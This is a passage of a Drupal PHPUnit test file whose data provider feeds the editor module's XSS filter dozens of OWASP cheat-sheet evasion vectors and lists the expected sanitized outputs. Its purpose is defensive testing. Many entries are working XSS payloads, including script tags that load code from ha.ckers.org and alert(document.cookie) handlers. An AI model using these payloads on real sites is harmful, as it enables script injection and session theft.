Version 1
[yaffs-website] / web / core / modules / editor / tests / src / Unit / EditorXssFilter / StandardTest.php
1 <?php
2
3 namespace Drupal\Tests\editor\Unit\EditorXssFilter;
4
5 use Drupal\editor\EditorXssFilter\Standard;
6 use Drupal\Tests\UnitTestCase;
7 use Drupal\filter\Plugin\FilterInterface;
8
9 /**
10  * @coversDefaultClass \Drupal\editor\EditorXssFilter\Standard
11  * @group editor
12  */
13 class StandardTest extends UnitTestCase {
14
15   /**
16    * The mocked text format configuration entity.
17    *
18    * @var \Drupal\filter\Entity\FilterFormat|\PHPUnit_Framework_MockObject_MockObject
19    */
20   protected $format;
21
22   protected function setUp() {
23
24     // Mock text format configuration entity object.
25     $this->format = $this->getMockBuilder('\Drupal\filter\Entity\FilterFormat')
26       ->disableOriginalConstructor()
27       ->getMock();
28     $this->format->expects($this->any())
29       ->method('getFilterTypes')
30       ->will($this->returnValue([FilterInterface::TYPE_HTML_RESTRICTOR]));
31     $restrictions = [
32       'allowed' => [
33         'p' => TRUE,
34         'a' => TRUE,
35         '*' => [
36           'style' => FALSE,
37           'on*' => FALSE,
38         ],
39       ],
40     ];
41     $this->format->expects($this->any())
42       ->method('getHtmlRestrictions')
43       ->will($this->returnValue($restrictions));
44   }
45
46   /**
47    * Provides test data for testFilterXss().
48    *
49    * @see \Drupal\Tests\editor\Unit\editor\EditorXssFilter\StandardTest::testFilterXss()
50    */
51   public function providerTestFilterXss() {
52     $data = [];
53     $data[] = ['<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>', '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>'];
54     $data[] = ['<p style="color:red">Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>', '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>'];
55     $data[] = ['<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown><script>alert("evil");</script>', '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>alert("evil");'];
56     $data[] = ['<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown><a href="javascript:alert(1)">test</a>', '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown><a href="alert(1)">test</a>'];
57
58     // All cases listed on https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
59
60     // No Filter Evasion.
61     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#No_Filter_Evasion
62     $data[] = ['<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>', ''];
63
64     // Image XSS using the JavaScript directive.
65     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Image_XSS_using_the_JavaScript_directive
66     $data[] = ['<IMG SRC="javascript:alert(\'XSS\');">', '<IMG src="alert(&#039;XSS&#039;);">'];
67
68     // No quotes and no semicolon.
69     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#No_quotes_and_no_semicolon
70     $data[] = ['<IMG SRC=javascript:alert(\'XSS\')>', '<IMG>'];
71
72     // Case insensitive XSS attack vector.
73     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Case_insensitive_XSS_attack_vector
74     $data[] = ['<IMG SRC=JaVaScRiPt:alert(\'XSS\')>', '<IMG>'];
75
76     // HTML entities.
77     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#HTML_entities
78     $data[] = ['<IMG SRC=javascript:alert("XSS")>', '<IMG>'];
79
80     // Grave accent obfuscation.
81     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Grave_accent_obfuscation
82     $data[] = ['<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>', '<IMG>'];
83
84     // Malformed A tags.
85     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Malformed_A_tags
86     $data[] = ['<a onmouseover="alert(document.cookie)">xxs link</a>', '<a>xxs link</a>'];
87     $data[] = ['<a onmouseover=alert(document.cookie)>xxs link</a>', '<a>xxs link</a>'];
88
89     // Malformed IMG tags.
90     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Malformed_IMG_tags
91     $data[] = ['<IMG """><SCRIPT>alert("XSS")</SCRIPT>">', '<IMG>alert("XSS")"&gt;'];
92
93     // fromCharCode.
94     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#fromCharCode
95     $data[] = ['<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>', '<IMG src="alert(String.fromCharCode(88,83,83))">'];
96
97     // Default SRC tag to get past filters that check SRC domain.
98     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Default_SRC_tag_to_get_past_filters_that_check_SRC_domain
99     $data[] = ['<IMG SRC=# onmouseover="alert(\'xxs\')">', '<IMG src="#">'];
100
101     // Default SRC tag by leaving it empty.
102     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Default_SRC_tag_by_leaving_it_empty
103     $data[] = ['<IMG SRC= onmouseover="alert(\'xxs\')">', '<IMG nmouseover="alert(&#039;xxs&#039;)">'];
104
105     // Default SRC tag by leaving it out entirely.
106     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Default_SRC_tag_by_leaving_it_out_entirely
107     $data[] = ['<IMG onmouseover="alert(\'xxs\')">', '<IMG>'];
108
109     // Decimal HTML character references.
110     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Decimal_HTML_character_references
111     $data[] = ['<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>', '<IMG src="alert(&#039;XSS&#039;)">'];
112
113     // Decimal HTML character references without trailing semicolons.
114     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Decimal_HTML_character_references_without_trailing_semicolons
115     $data[] = ['<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>', '<IMG src="&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041">'];
116
117     // Hexadecimal HTML character references without trailing semicolons.
118     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Hexadecimal_HTML_character_references_without_trailing_semicolons
119     $data[] = ['<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>', '<IMG src="&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29">'];
120
121     // Embedded tab.
122     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Embedded_tab
123     $data[] = ['<IMG SRC="jav  ascript:alert(\'XSS\');">', '<IMG src="alert(&#039;XSS&#039;);">'];
124
125     // Embedded Encoded tab.
126     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Embedded_Encoded_tab
127     $data[] = ['<IMG SRC="jav&#x09;ascript:alert(\'XSS\');">', '<IMG src="alert(&#039;XSS&#039;);">'];
128
129     // Embedded newline to break up XSS.
130     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Embedded_newline_to_break_up_XSS
131     $data[] = ['<IMG SRC="jav&#x0A;ascript:alert(\'XSS\');">', '<IMG src="alert(&#039;XSS&#039;);">'];
132
133     // Embedded carriage return to break up XSS.
134     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Embedded_carriage_return_to_break_up_XSS
135     $data[] = ['<IMG SRC="jav&#x0D;ascript:alert(\'XSS\');">', '<IMG src="alert(&#039;XSS&#039;);">'];
136
137     // Null breaks up JavaScript directive.
138     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Null_breaks_up_JavaScript_directive
139     $data[] = ["<IMG SRC=java\0script:alert(\"XSS\")>", '<IMG>'];
140
141     // Spaces and meta chars before the JavaScript in images for XSS.
142     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Spaces_and_meta_chars_before_the_JavaScript_in_images_for_XSS
143     // @fixme This dataset currently fails under 5.4 because of
144     //   https://www.drupal.org/node/1210798. Restore after it's fixed.
145     if (version_compare(PHP_VERSION, '5.4.0', '<')) {
146       $data[] = ['<IMG SRC=" &#14;  javascript:alert(\'XSS\');">', '<IMG src="alert(&#039;XSS&#039;);">'];
147     }
148
149     // Non-alpha-non-digit XSS.
150     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Non-alpha-non-digit_XSS
151     $data[] = ['<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>', ''];
152     $data[] = ['<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>', '<BODY>'];
153     $data[] = ['<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>', ''];
154
155     // Extraneous open brackets.
156     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Extraneous_open_brackets
157     $data[] = ['<<SCRIPT>alert("XSS");//<</SCRIPT>', '&lt;alert("XSS");//&lt;'];
158
159     // No closing script tags.
160     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#No_closing_script_tags
161     $data[] = ['<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >', ''];
162
163     // Protocol resolution in script tags.
164     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Protocol_resolution_in_script_tags
165     $data[] = ['<SCRIPT SRC=//ha.ckers.org/.j>', ''];
166
167     // Half open HTML/JavaScript XSS vector.
168     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Half_open_HTML.2FJavaScript_XSS_vector
169     $data[] = ['<IMG SRC="javascript:alert(\'XSS\')"', '<IMG src="alert(&#039;XSS&#039;)">'];
170
171     // Double open angle brackets.
172     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Double_open_angle_brackets
173     // @see http://ha.ckers.org/blog/20060611/hotbot-xss-vulnerability/ to
174     //      understand why this is a vulnerability.
175     $data[] = ['<iframe src=http://ha.ckers.org/scriptlet.html <', '<iframe src="http://ha.ckers.org/scriptlet.html">'];
176
177     // Escaping JavaScript escapes.
178     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Escaping_JavaScript_escapes
179     // This one is irrelevant for Drupal; we *never* output any JavaScript code
180     // that depends on the URL's query string.
181
182     // End title tag.
183     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#End_title_tag
184     $data[] = ['</TITLE><SCRIPT>alert("XSS");</SCRIPT>', '</TITLE>alert("XSS");'];
185
186     // INPUT image.
187     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#INPUT_image
188     $data[] = ['<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">', '<INPUT type="IMAGE" src="alert(&#039;XSS&#039;);">'];
189
190     // BODY image.
191     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#BODY_image
192     $data[] = ['<BODY BACKGROUND="javascript:alert(\'XSS\')">', '<BODY background="alert(&#039;XSS&#039;)">'];
193
194     // IMG Dynsrc.
195     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IMG_Dynsrc
196     $data[] = ['<IMG DYNSRC="javascript:alert(\'XSS\')">', '<IMG dynsrc="alert(&#039;XSS&#039;)">'];
197
198     // IMG lowsrc.
199     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IMG_lowsrc
200     $data[] = ['<IMG LOWSRC="javascript:alert(\'XSS\')">', '<IMG lowsrc="alert(&#039;XSS&#039;)">'];
201
202     // List-style-image.
203     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#List-style-image
204     $data[] = ['<STYLE>li {list-style-image: url("javascript:alert(\'XSS\')");}</STYLE><UL><LI>XSS</br>', 'li {list-style-image: url("javascript:alert(\'XSS\')");}<UL><LI>XSS</br>'];
205
206     // VBscript in an image.
207     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#VBscript_in_an_image
208     $data[] = ['<IMG SRC=\'vbscript:msgbox("XSS")\'>', '<IMG src=\'msgbox(&quot;XSS&quot;)\'>'];
209
210     // Livescript (older versions of Netscape only).
211     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Livescript_.28older_versions_of_Netscape_only.29
212     $data[] = ['<IMG SRC="livescript:[code]">', '<IMG src="[code]">'];
213
214     // BODY tag.
215     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#BODY_tag
216     $data[] = ['<BODY ONLOAD=alert(\'XSS\')>', '<BODY>'];
217
218     // Event handlers.
219     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Event_Handlers
220     $events = [
221       'onAbort',
222       'onActivate',
223       'onAfterPrint',
224       'onAfterUpdate',
225       'onBeforeActivate',
226       'onBeforeCopy',
227       'onBeforeCut',
228       'onBeforeDeactivate',
229       'onBeforeEditFocus',
230       'onBeforePaste',
231       'onBeforePrint',
232       'onBeforeUnload',
233       'onBeforeUpdate',
234       'onBegin',
235       'onBlur',
236       'onBounce',
237       'onCellChange',
238       'onChange',
239       'onClick',
240       'onContextMenu',
241       'onControlSelect',
242       'onCopy',
243       'onCut',
244       'onDataAvailable',
245       'onDataSetChanged',
246       'onDataSetComplete',
247       'onDblClick',
248       'onDeactivate',
249       'onDrag',
250       'onDragEnd',
251       'onDragLeave',
252       'onDragEnter',
253       'onDragOver',
254       'onDragDrop',
255       'onDragStart',
256       'onDrop',
257       'onEnd',
258       'onError',
259       'onErrorUpdate',
260       'onFilterChange',
261       'onFinish',
262       'onFocus',
263       'onFocusIn',
264       'onFocusOut',
265       'onHashChange',
266       'onHelp',
267       'onInput',
268       'onKeyDown',
269       'onKeyPress',
270       'onKeyUp',
271       'onLayoutComplete',
272       'onLoad',
273       'onLoseCapture',
274       'onMediaComplete',
275       'onMediaError',
276       'onMessage',
277       'onMousedown',
278       'onMouseEnter',
279       'onMouseLeave',
280       'onMouseMove',
281       'onMouseOut',
282       'onMouseOver',
283       'onMouseUp',
284       'onMouseWheel',
285       'onMove',
286       'onMoveEnd',
287       'onMoveStart',
288       'onOffline',
289       'onOnline',
290       'onOutOfSync',
291       'onPaste',
292       'onPause',
293       'onPopState',
294       'onProgress',
295       'onPropertyChange',
296       'onReadyStateChange',
297       'onRedo',
298       'onRepeat',
299       'onReset',
300       'onResize',
301       'onResizeEnd',
302       'onResizeStart',
303       'onResume',
304       'onReverse',
305       'onRowsEnter',
306       'onRowExit',
307       'onRowDelete',
308       'onRowInserted',
309       'onScroll',
310       'onSeek',
311       'onSelect',
312       'onSelectionChange',
313       'onSelectStart',
314       'onStart',
315       'onStop',
316       'onStorage',
317       'onSyncRestored',
318       'onSubmit',
319       'onTimeError',
320       'onTrackChange',
321       'onUndo',
322       'onUnload',
323       'onURLFlip',
324     ];
325     foreach ($events as $event) {
326       $data[] = ['<p ' . $event . '="javascript:alert(\'XSS\');">Dangerous llama!</p>', '<p>Dangerous llama!</p>'];
327     }
328
329     // BGSOUND.
330     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#BGSOUND
331     $data[] = ['<BGSOUND SRC="javascript:alert(\'XSS\');">', '<BGSOUND src="alert(&#039;XSS&#039;);">'];
332
333     // & JavaScript includes.
334     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#.26_JavaScript_includes
335     $data[] = ['<BR SIZE="&{alert(\'XSS\')}">', '<BR size="">'];
336
337     // STYLE sheet.
338     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_sheet
339     $data[] = ['<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">', ''];
340
341     // Remote style sheet.
342     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet
343     $data[] = ['<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">', ''];
344
345     // Remote style sheet part 2.
346     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet_part_2
347     $data[] = ['<STYLE>@import\'http://ha.ckers.org/xss.css\';</STYLE>', '@import\'http://ha.ckers.org/xss.css\';'];
348
349     // Remote style sheet part 3.
350     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet_part_3
351     $data[] = ['<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">', '<META http-equiv="Link">; REL=stylesheet"&gt;'];
352
353     // Remote style sheet part 4.
354     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet_part_4
355     $data[] = ['<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>', 'BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}'];
356
357     // STYLE tags with broken up JavaScript for XSS.
358     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_tags_with_broken_up_JavaScript_for_XSS
359     $data[] = ['<STYLE>@im\port\'\ja\vasc\ript:alert("XSS")\';</STYLE>', '@im\port\'\ja\vasc\ript:alert("XSS")\';'];
360
361     // STYLE attribute using a comment to break up expression.
362     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_attribute_using_a_comment_to_break_up_expression
363     $data[] = ['<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))">', '<IMG>'];
364
365     // IMG STYLE with expression.
366     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IMG_STYLE_with_expression
367     $data[] = ['exp/*<A STYLE=\'no\xss:noxss("*//*");
368 xss:ex/*XSS*//*/*/pression(alert("XSS"))\'>', 'exp/*<A>'];
369
370     // STYLE tag (Older versions of Netscape only).
371     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_tag_.28Older_versions_of_Netscape_only.29
372     $data[] = ['<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>', 'alert(\'XSS\');'];
373
374     // STYLE tag using background-image.
375     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_tag_using_background-image
376     $data[] = ['<STYLE>.XSS{background-image:url("javascript:alert(\'XSS\')");}</STYLE><A CLASS=XSS></A>', '.XSS{background-image:url("javascript:alert(\'XSS\')");}<A class="XSS"></A>'];
377
378     // STYLE tag using background.
379     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_tag_using_background
380     $data[] = ['<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>', 'BODY{background:url("javascript:alert(\'XSS\')")}'];
381
382     // Anonymous HTML with STYLE attribute.
383     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Anonymous_HTML_with_STYLE_attribute
384     $data[] = ['<XSS STYLE="xss:expression(alert(\'XSS\'))">', '<XSS>'];
385
386     // Local htc file.
387     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Local_htc_file
388     $data[] = ['<XSS STYLE="behavior: url(xss.htc);">', '<XSS>'];
389
390     // US-ASCII encoding.
391     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#US-ASCII_encoding
392     // This one is irrelevant for Drupal; Drupal *always* outputs UTF-8.
393
394     // META.
395     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#META
396     $data[] = ['<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">', '<META http-equiv="refresh" content="alert(&#039;XSS&#039;);">'];
397
398     // META using data.
399     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#META_using_data
400     $data[] = ['<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">', '<META http-equiv="refresh" content="text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">'];
401
402     // META with additional URL parameter
403     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#META
404     $data[] = ['<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">', '<META http-equiv="refresh" content="//;URL=javascript:alert(&#039;XSS&#039;);">'];
405
406     // IFRAME.
407     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IFRAME
408     $data[] = ['<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>', '<IFRAME src="alert(&#039;XSS&#039;);"></IFRAME>'];
409
410     // IFRAME Event based.
411     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IFRAME_Event_based
412     $data[] = ['<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>', '<IFRAME src="#"></IFRAME>'];
413
414     // FRAME.
415     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#FRAME
416     $data[] = ['<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>', '<FRAMESET><FRAME src="alert(&#039;XSS&#039;);"></FRAMESET>'];
417
418     // TABLE.
419     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#TABLE
420     $data[] = ['<TABLE BACKGROUND="javascript:alert(\'XSS\')">', '<TABLE background="alert(&#039;XSS&#039;)">'];
421
422     // TD.
423     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#TD
424     $data[] = ['<TABLE><TD BACKGROUND="javascript:alert(\'XSS\')">', '<TABLE><TD background="alert(&#039;XSS&#039;)">'];
425
426     // DIV background-image.
427     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#DIV_background-image
428     $data[] = ['<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">', '<DIV>'];
429
430     // DIV background-image with unicoded XSS exploit.
431     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#DIV_background-image_with_unicoded_XSS_exploit
432     $data[] = ['<DIV STYLE="background-image:\0075\0072\006C\0028\'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029\'\0029">', '<DIV>'];
433
434     // DIV background-image plus extra characters.
435     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#DIV_background-image_plus_extra_characters
436     $data[] = ['<DIV STYLE="background-image: url(&#1;javascript:alert(\'XSS\'))">', '<DIV>'];
437
438     // DIV expression.
439     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#DIV_expression
440     $data[] = ['<DIV STYLE="width: expression(alert(\'XSS\'));">', '<DIV>'];
441
442     // Downlevel-Hidden block.
443     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Downlevel-Hidden_block
444     $data[] = ['<!--[if gte IE 4]>
445  <SCRIPT>alert(\'XSS\');</SCRIPT>
446  <![endif]-->', "\n alert('XSS');\n "];
447
448     // BASE tag.
449     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#BASE_tag
450     $data[] = ['<BASE HREF="javascript:alert(\'XSS\');//">', '<BASE href="alert(&#039;XSS&#039;);//">'];
451
452     // OBJECT tag.
453     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#OBJECT_tag
454     $data[] = ['<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>', ''];
455
456     // Using an EMBED tag you can embed a Flash movie that contains XSS.
457     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Using_an_EMBED_tag_you_can_embed_a_Flash_movie_that_contains_XSS
458     $data[] = ['<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>', ''];
459
460     // You can EMBED SVG which can contain your XSS vector.
461     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#You_can_EMBED_SVG_which_can_contain_your_XSS_vector
462     $data[] = ['<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>', ''];
463
464     // XML data island with CDATA obfuscation.
465     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XML_data_island_with_CDATA_obfuscation
466     $data[] = ['<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>', '<XML id="xss"><I><B><IMG>cript:alert(\'XSS\')"&gt;</B></I></XML><SPAN datasrc="#xss" datafld="B" dataformatas="HTML"></SPAN>'];
467
468     // Locally hosted XML with embedded JavaScript that is generated using an XML data island.
469     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Locally_hosted_XML_with_embedded_JavaScript_that_is_generated_using_an_XML_data_island
470     // This one is irrelevant for Drupal; Drupal disallows XML uploads by
471     // default.
472
473     // HTML+TIME in XML.
474     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#HTML.2BTIME_in_XML
475     $data[] = ['<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">', '&lt;?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"&gt;&lt;?import namespace="t" implementation="#default#time2"&gt;<t set attributename="innerHTML">alert("XSS")"&gt;'];
476
477     // Assuming you can only fit in a few characters and it filters against ".js".
478     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Assuming_you_can_only_fit_in_a_few_characters_and_it_filters_against_.22.js.22
479     $data[] = ['<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>', ''];
480
481     // IMG Embedded commands.
482     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IMG_Embedded_commands
483     // This one is irrelevant for Drupal; this is actually a CSRF, for which
484     // Drupal has CSRF protection. See https://www.drupal.org/node/178896.
485
486     // Cookie manipulation.
487     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Cookie_manipulation
488     $data[] = ['<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(\'XSS\')</SCRIPT>">', '<META http-equiv="Set-Cookie">alert(\'XSS\')"&gt;'];
489
490     // UTF-7 encoding.
491     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#UTF-7_encoding
492     // This one is irrelevant for Drupal; Drupal *always* outputs UTF-8.
493
494     // XSS using HTML quote encapsulation.
495     // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_using_HTML_quote_encapsulation
496     $data[] = ['<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>', '" SRC="http://ha.ckers.org/xss.js"&gt;'];
497     $data[] = ['<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>', '" SRC="http://ha.ckers.org/xss.js"&gt;'];
498     $data[] = ['<SCRIPT a=">" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>', '" \'\' SRC="http://ha.ckers.org/xss.js"&gt;'];
499     $data[] = ['<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>', '\'" SRC="http://ha.ckers.org/xss.js"&gt;'];
500     $data[] = ['<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>', '` SRC="http://ha.ckers.org/xss.js"&gt;'];
501     $data[] = ['<SCRIPT a=">\'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>', '\'&gt;" SRC="http://ha.ckers.org/xss.js"&gt;'];
